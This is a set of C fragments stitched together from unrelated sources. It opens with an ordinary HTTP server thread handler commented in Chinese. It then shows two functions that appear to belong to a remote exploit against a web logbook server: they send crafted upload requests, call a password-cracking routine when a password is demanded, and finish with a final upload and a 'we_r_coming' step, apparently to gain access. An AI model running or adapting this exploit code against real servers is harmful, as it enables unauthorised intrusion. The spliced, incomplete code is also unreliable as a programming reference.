THREAD_RETVAL socket_response(void *arg) { printf("thread is begin\n"); int st = *(int *) arg;//得到来自client端的socket free((int *) arg); char buf[BUFSIZE]; memset(buf, 0, sizeof(buf)); int rc = recv(st, buf, sizeof(buf), 0);//接收来自client端socket的消息 if (rc <= 0) { printf("recv failed %s\n", strerror(errno)); } else { printf("recv:\n%s", buf); char command[1024]; memset(command, 0, sizeof(command)); gethttpcommand(buf, command); //得到http 请求中 GET后面的字符串 char *content = NULL; std::string tmp(command); printf("command:%s\n",tmp.c_str()); // int ilen = make_http_content(command, &content);//根据用户在GET中的请求,生成相应的回复内容 int ilen = make_http_content(urlmap[tmp].c_str(), &content);//根据用户在GET中的请求,生成相应的回复内容 if (ilen > 0) { send(st, content, ilen, 0);//将回复的内容发送给client端socket free(content); } } closesocket(st);//关闭client端socket printf("thread_is end\n"); return NULL; }
void do_last_stage(char *hostname,short port,char *logbook) { int soc; int yes = 0; struct sockaddr_in rem_addr; char angelform[SENDBUFSIZE]; char *content; int flagz = UPLOADME; bzero(angelform,sizeof(angelform)); content = make_http_content(flagz,logbook); strcat(angelform,make_request_header(logbook,boundary,0)); strcat(angelform,content); soc = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); if(soc < 0) { perror("socket"); exit(1); } if(setsockopt(soc,SOL_SOCKET,SO_REUSEADDR,(char *)&yes,sizeof(int))) { perror("setsockopt"); close(soc); exit(1); } memset(&(rem_addr.sin_zero),'\0',8); rem_addr.sin_family = AF_INET; rem_addr.sin_port = htons(port); rem_addr.sin_addr.s_addr = get_host_ip(hostname); if(connect(soc,(const struct sockaddr*)&rem_addr,sizeof(rem_addr))) { fprintf(stderr,"[-] Can not Connect to server!\n"); exit(1); } if( (send(soc,angelform,strlen(angelform),0)) < 0 ){ perror("send"); exit(-1); close(soc); } close(soc); return; }
int check_for_clear_sector(char *hostname,unsigned short port,char *logbook,int flag) { struct sockaddr_in rem_addr; char sendbuf[SENDBUFSIZE]; char *sendbufp; char getbuf[GETBUFSIZE]; char *reqbuf; char notfound[100]; int yes; int total; int sock; int flagchoice; struct timeval w_t; fd_set read_fd; int total_fd; PRINTINFO(MSGSECTOR,debug); LOGBOOKNOTFOUND(notfound,logbook); HEAD: bzero(&w_t,sizeof(w_t)); w_t.tv_sec = TIMEOUT; w_t.tv_usec = 0; if(flag == 0) flagchoice = NOTUPLOADME; else flagchoice = UPLOADME; sock = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); if(sock < 0) { perror("socket"); exit(1); } if(setsockopt(sock,SOL_SOCKET,SO_REUSEADDR,(char *)&yes,sizeof(int))) { perror("setsockopt"); close(sock); exit(1); } memset(&(rem_addr.sin_zero),'\0',8); rem_addr.sin_family = AF_INET; rem_addr.sin_port = htons(port); rem_addr.sin_addr.s_addr = get_host_ip(hostname); if(connect(sock,(const struct sockaddr*)&rem_addr,sizeof(rem_addr))) { fprintf(stderr,"[-] Can not Connect to server!\n"); exit(1); } sendbufp = make_http_content(flagchoice,logbook); reqbuf = make_request_header(logbook,boundary,0); strcpy(sendbuf,reqbuf); strcat(sendbuf,sendbufp); if( (send(sock,sendbuf,sizeof(sendbuf),0)) < 0 ) { perror("send"); exit(-1); close(sock); } FD_ZERO(&read_fd); FD_SET(sock,&read_fd); if( (total_fd = select(sock + 1,&read_fd,(fd_set *)NULL,(fd_set *)NULL,&w_t)) < 0) { perror("select"); close(sock); exit(-1); } if(FD_ISSET(sock,&read_fd)) { if( (total = recv(sock,getbuf,sizeof(getbuf),0)) < 1) { if(errno == EWOULDBLOCK ){ NPRINTINFO(REMDOWN); PRINTINFO(REMCRASHED,1); close(sock); exit(-1); } close(sock); exit(1); } if(strstr(getbuf,INVALIDURL)) { fprintf(stderr,"[-] Invalid URL Bitch, Type the Correct Path\n"); close(sock); exit(-1); } if(strstr(getbuf,AUTHORIZED_DENY)) { fprintf(stderr,"[-] Type User name and Password for login Bitch\n"); close(sock); exit(-1); } if(strstr(getbuf,notfound)) { fprintf(stderr,"[-] NO %s LOGBOOK DEFINED BITCH\n",logbook); close(sock); exit(-1); } if(strstr(getbuf,ASKEDPASS)) { NPRINTINFO(PASSALERT); crack_the_code(hostname,port,logbook); close(sock); bzero(getbuf,sizeof(getbuf)); goto HEAD; } if(strstr(getbuf,ATTOPTERR)) { PRINTINFO(READOPTION,1); close(sock); bzero(getbuf,sizeof(getbuf)); spy_attr_options(hostname,port,logbook); goto HEAD; } if(strstr(getbuf,ATTERR)) { get_missing_attributes(getbuf,ATTERR,MISSED[globcount].addr); ATTNOTFOUND(MISSED[globcount].addr); MAKINGATT (MISSED[globcount].addr); globcount++; bzero(getbuf,sizeof(getbuf)); re_check_sector(hostname,port,logbook,flag); } if(strstr(getbuf,SECTOR_CLEAR)) { PRINTINFO(CLEARAREA,1); close(sock); do_last_stage(hostname,port,logbook); we_r_coming(hostname); } } return(1); }